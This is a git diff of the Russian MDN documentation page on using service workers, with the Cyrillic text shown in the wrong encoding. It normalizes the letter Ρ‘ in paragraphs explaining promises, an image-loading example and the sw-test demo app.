diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html
index bab45149a6..4fc2235590 100644
--- a/files/ru/web/api/service_worker_api/using_service_workers/index.html
+++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html
@@ -83,7 +83,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers
<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄, ΠΈΠ΄ΡƒΡ‰ΠΈΠΉ Π·Π° Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>myFunction()</code>, Π±ΡƒΠ΄Π΅Ρ‚ ΠΆΠ΄Π°Ρ‚ΡŒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π²Ρ‹Π·ΠΎΠ²Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° значСния. Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <code>myFunction()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис для <code>value</code>, Π² этом случаС, ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ смоТСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, Π½Π΅ доТидаясь Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ основной Ρ€Π°Π±ΠΎΡ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Когда промис Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ΄, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ <code>then</code>, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ асинхронно.</p>
-<p>А Π²ΠΎΡ‚ Π²Π°ΠΌ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€: Ρ‡Ρ‚ΠΎ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ изобраТСния динамичСски, ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΌΡ‹ ΠΆΠ΅Π»Π°Π΅ΠΌ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ изобраТСния Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈΡΡŒ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹? Π’ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, являСтся стандартной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, Π½ΠΎ ΠΎΠ½Π° всС ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠΉ Π±ΠΎΠ»ΠΈ. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>.onload</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π½ΠΎ Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с событиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΈΡ… ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ? ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>.complete</code>, Π½ΠΎ ΠΎΠ½ΠΎ всС Π΅Ρ‰Π΅ Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½ΠΎ, Π΄Π° ΠΈ Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΌΠΈΡΡ изобраТСниями? И Π½Π°ΠΊΠΎΠ½Π΅Ρ† всС это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ синхронно, блокируя Π³Π»Π°Π²Π½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ.</p>
+<p>А Π²ΠΎΡ‚ Π²Π°ΠΌ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€: Ρ‡Ρ‚ΠΎ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ изобраТСния динамичСски, ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΌΡ‹ ΠΆΠ΅Π»Π°Π΅ΠΌ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ изобраТСния Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈΡΡŒ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹? Π’ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, являСтся стандартной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, Π½ΠΎ ΠΎΠ½Π° всС ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠΉ Π±ΠΎΠ»ΠΈ. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>.onload</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π½ΠΎ Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с событиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈΡ… ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ? ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>.complete</code>, Π½ΠΎ ΠΎΠ½ΠΎ всС Π΅Ρ‰Ρ‘ Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ, Π΄Π° ΠΈ Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΌΠΈΡΡ изобраТСниями? И Π½Π°ΠΊΠΎΠ½Π΅Ρ† всС это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ синхронно, блокируя Π³Π»Π°Π²Π½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ.</p>
<p>ВмСсто этого ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнный промис для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ случаями. (Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="https://github.com/mdn/promises-test">Promises test</a> ΠΈΠ»ΠΈ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π°Β <a href="https://mdn.github.io/promises-test/">ΠΆΠΈΠ²ΠΎΠ΅ Π΄Π΅ΠΌΠΎ</a>.)</p>
@@ -111,9 +111,9 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers
});
}</pre>
-<p>ΠœΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ промис, созданный конструктором <code>Promise()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <code>resolve</code> ΠΈ <code>reject</code>. Π“Π΄Π΅-Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ случаи, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… промис Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½,Β β€” Π² нашСм случаС, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, вСрнулся Π»ΠΈ статус 200 ОК ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ <code>resolve</code> Π² случаС успСха ΠΈΠ»ΠΈ <code>reject</code> ΠΏΡ€ΠΈ Π½Π΅ΡƒΠ΄Π°Ρ‡Π΅. ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ содСрТимоС этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ β€” Π²ΠΏΠΎΠ»Π½Π΅ стандартноС XHR-Π½Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, поэтому Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ стоит ΠΎ Π½Π΅ΠΌ Π²ΠΎΠ»Π½ΠΎΠ²Π°Ρ‚ΡŒΡΡ.</p>
+<p>ΠœΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ промис, созданный конструктором <code>Promise()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <code>resolve</code> ΠΈ <code>reject</code>. Π“Π΄Π΅-Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ случаи, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… промис Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½,Β β€” Π² нашСм случаС, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, вСрнулся Π»ΠΈ статус 200 ОК ΠΈΠ»ΠΈ Π½Π΅Ρ‚, Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ <code>resolve</code> Π² случаС успСха ΠΈΠ»ΠΈ <code>reject</code> ΠΏΡ€ΠΈ Π½Π΅ΡƒΠ΄Π°Ρ‡Π΅. ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ содСрТимоС этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ β€” Π²ΠΏΠΎΠ»Π½Π΅ стандартноС XHR-Π½Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, поэтому Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ стоит ΠΎ Π½Π΅ΠΌ Π²ΠΎΠ»Π½ΠΎΠ²Π°Ρ‚ΡŒΡΡ.</p>
-<p>Вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>imgLoad()</code>, ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° url изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, Π½ΠΎ Π΄Π°Π»Π΅Π΅ ΠΊΠΎΠ΄ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ отличаСтся:</p>
+<p>Вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>imgLoad()</code>, ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° url изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, Π½ΠΎ Π΄Π°Π»Π΅Π΅ ΠΊΠΎΠ΄ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ отличаСтся:</p>
<pre class="brush: js notranslate">let body = document.querySelector('body');
let myImage = new Image();
@@ -126,7 +126,7 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
console.log(Error);
});</pre>
-<p>ПослС Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ "цСпляСм" ΠΊ Π½Π΅ΠΉ Π²Ρ‹Π·ΠΎΠ² промис-ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>then()</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ - пСрвая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² случаС выполнСния промиса, созданного Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>imgLoad()</code>, вторая функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² случаС отклонСния этого промиса. Π’ случаС выполнСния ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² элСмСнтС <code>myImage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прикрСпляСм ΠΊ body (Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ являСтся <code>request.response</code>, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² промис-ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>resolve</code>); Π² случаС отклонСния промиса Π² консоли Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС.</p>
+<p>ПослС Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ "цСпляСм" ΠΊ Π½Π΅ΠΉ Π²Ρ‹Π·ΠΎΠ² промис-ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>then()</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ - пСрвая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² случаС выполнСния промиса, созданного Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>imgLoad()</code>, вторая функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² случаС отклонСния этого промиса. Π’ случаС выполнСния ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² элСмСнтС <code>myImage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прикрСпляСм ΠΊ body (Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ являСтся <code>request.response</code>, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² промис-ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>resolve</code>); Π² случаС отклонСния промиса Π² консоли Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС.</p>
<p>ВсС это происходит асинхронно.</p>
@@ -141,14 +141,14 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<h2 id="ДСмонстрация_Service_Workers">ДСмонстрация Service Workers</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ рСгистрации ΠΈ установки сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ², ΠΌΡ‹ создали простоС Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π½Π°Π·Π²Π°Π½ΠΎΠ΅ <a href="https://github.com/mdn/sw-test">sw-test</a>. Π­Ρ‚ΠΎ простая галСрСя ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ "Star wars Lego". Оно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ промис-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ· JSON-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ Ajax, изобраТСния, находящиСся Π΄Π°Π»Π΅Π΅ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ края страницы, Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹. Π’ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Ρ‚Π°ΠΊΠΆΠ΅ Π΅Ρ‰Π΅ рСгистрируСтся, устанавливаСтся ΠΈ активируСтся сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€, ΠΈ, Π² случаС Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Service Worker, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ рСсурсы Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² offline-Ρ€Π΅ΠΆΠΈΠΌΠ΅!</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ рСгистрации ΠΈ установки сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ², ΠΌΡ‹ создали простоС Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π½Π°Π·Π²Π°Π½ΠΎΠ΅ <a href="https://github.com/mdn/sw-test">sw-test</a>. Π­Ρ‚ΠΎ простая галСрСя ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ "Star wars Lego". Оно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ промис-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ· JSON-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ Ajax, изобраТСния, находящиСся Π΄Π°Π»Π΅Π΅ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ края страницы, Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹. Π’ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Ρ‚Π°ΠΊΠΆΠ΅ Π΅Ρ‰Ρ‘ рСгистрируСтся, устанавливаСтся ΠΈ активируСтся сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€, ΠΈ, Π² случаС Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Service Worker, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ рСсурсы Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² offline-Ρ€Π΅ΠΆΠΈΠΌΠ΅!</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
<br>
Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <a href="https://github.com/mdn/sw-test/">исходный ΠΊΠΎΠ΄ Π½Π° GitHub</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/sw-test/">этот ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>. ЕдинствСнноС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ‚ΡƒΡ‚ рассмотрим, это промис (смотритС <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js строки 22-47</a>), модифицированная вСрсия Ρ‚ΠΎΠ³ΠΎ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π»ΠΈ Π²Ρ‹ΡˆΠ΅ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="https://github.com/mdn/promises-test">ВСстовая дСмонстрация промисов</a>. Π Π°Π·Π½ΠΈΡ†Π° Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ:</p>
<ol>
